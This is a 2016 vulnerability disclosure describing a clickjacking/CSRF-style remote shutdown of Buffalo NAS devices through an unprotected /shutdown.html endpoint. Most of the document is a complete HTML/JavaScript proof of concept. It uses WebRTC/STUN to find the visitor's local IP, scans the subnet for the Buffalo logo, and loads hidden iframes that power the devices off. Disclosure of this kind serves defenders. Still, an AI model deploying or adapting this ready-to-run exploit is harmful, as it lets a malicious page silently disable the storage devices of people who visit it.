Buffalo NAS Remote Shutdown

Posted on 26 January 2016
The Buffalo NAS device includes a web interface located at its IP address. A shutdown of the device can be initiated without confirmation by loading the endpoint /shutdown.html on this address. This shutdown powers off the device, requiring physical access to restart.

The shutdown webpage has no special X-Frame-Options set on it, allowing an attacker with the right knowledge to remotely disable the device through an iframe that an admin on the device loads.

I have demonstrated shutting down such a device remotely using STUN to locate the local IP address of the user and iterating on that IP address by requesting the Buffalo logo from these IP addresses. In the case where the user has recently accessed their NAS configuration panel, the logo loads instantly (from cache) and fires the onload event, which in turn triggers an iframe embed which shuts down the device.

Code: https://gist.github.com/venoms/5b5437e25e0bf3b49d0a

In short, the above code will scan for and remotely shutdown all vulnerable Buffalo NAS-s the viewer is authorized to configure in their local network.

Zemnmez

Thanks to Nathaniel "XMPPWocky" Theis for helping me streamline this exploit.

----------------------------
buffaloNASshutdown.html PoC:

<head>
 <title>buffalo nas shutdown</title>
</head>
<body>
 <iframe id="iframe" sandbox="allow-same-origin" style="display: none"></iframe>
 <div id="output"></div>
 <script>
 var output = document.getElementById("output");
 //stolen from https://github.com/diafygi/webrtc-ips
 //under the MIT license
 //get the IP addresses associated with an account
 function getIPs(callback){
 var ip_dups = {};
 //compatibility for firefox and chrome
 var RTCPeerConnection = window.RTCPeerConnection
 || window.mozRTCPeerConnection
 || window.webkitRTCPeerConnection;
 var useWebKit = !!window.webkitRTCPeerConnection;
 //bypass naive webrtc blocking using an iframe
 if(!RTCPeerConnection){
 //NOTE: you need to have an iframe in the page right above the script tag
 //
 //<iframe id="iframe" sandbox="allow-same-origin" style="display: none"></iframe>
 //<script>...getIPs called in here...
 //
 var win = iframe.contentWindow;
 RTCPeerConnection = win.RTCPeerConnection
 || win.mozRTCPeerConnection
 || win.webkitRTCPeerConnection;
 useWebKit = !!win.webkitRTCPeerConnection;
 }
 //minimal requirements for data connection
 var mediaConstraints = {
 optional: [{RtpDataChannels: true}]
 };
 var servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};
 //construct a new RTCPeerConnection
 var pc = new RTCPeerConnection(servers, mediaConstraints);
 function handleCandidate(candidate){
 //match just the IP address
 var ip_regex = /([0-9]{1,3}(.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/
 var ip_addr = ip_regex.exec(candidate)[1];
 //remove duplicates
 if(ip_dups[ip_addr] === undefined)
 callback(ip_addr);
 ip_dups[ip_addr] = true;
 }
 //listen for candidate events
 pc.onicecandidate = function(ice){
 //skip non-candidate events
 if(ice.candidate)
 handleCandidate(ice.candidate.candidate);
 };
 //create a bogus data channel
 pc.createDataChannel("");
 //create an offer sdp
 pc.createOffer(function(result){
 //trigger the stun server request
 pc.setLocalDescription(result, function(){}, function(){});
 }, function(){});
 //wait for a while to let everything done
 setTimeout(function(){
 //read candidate info from local description
 var lines = pc.localDescription.sdp.split('
');
 lines.forEach(function(line){
 if(line.indexOf('a=candidate:') === 0)
 handleCandidate(line);
 });
 }, 1000);
}

function foundNAS(ip) {
 output.innerText += "Bingo! NAS at " + ip + "
";
 var i = document.createElement("iframe");
 i.setAttribute("style", "display:none");
 i.setAttribute("src", "http://" + ip + "/shutdown.html");
 output.innerText += "Shutting it down now... This will fail if you're not logged in."
 document.body.appendChild(i);
}

var groupSize = 50;

//Using STUN, we locate the local ip address of the user
// we make sensible guesses that the NAS is in the same simple local network
getIPs(function(ip){
 //local IPs
 if (ip.match(/^(192.168.|169.254.|10.|172.(1[6-9]|2d|3[01]))/)) {
 output.innerText += "Found IP " + ip + "
"
 // shotgun this ip
 var pre = /^([d.]+.)d+$/.exec(ip)[1];

 output.innerText += "Searching " + pre + "*
"
 var i = 0, ed = 0;
 //try a block of 50 NAS guesses
 var sweep = function() {
 ed = i + groupSize
 var donect = 0;
 var done = function() {
 donect += 1;
 if (i > 253) return;
 if (donect == groupSize) sweep();
 console.log(i);
 }
 output.innerText += "Searching " + pre + i + "-" + ed + "
"
 for(;i<ed;i++) {
 var el = document.createElement("img");
 var n = i;
 el.setAttribute("style", "width:1em; height:1em;display:inline;border:1px solid red");

 // logo loaded; must be NAS
 el.addEventListener("load", function(){
 done();
 this.setAttribute("style", "display:block");
 foundNAS(/(?:d+.){3}.d+/g.exec(this.src)[0]);
 });

 // logo did not load; not NAS
 el.addEventListener("error", function() {
 done();
 this.parentNode.removeChild(this);
 });
 el.setAttribute("src", "http://" + pre + i + "/img/common/forlink/header-logo.gif");

 document.body.appendChild(el);
 }
 }
 sweep();
 }
});
</script>
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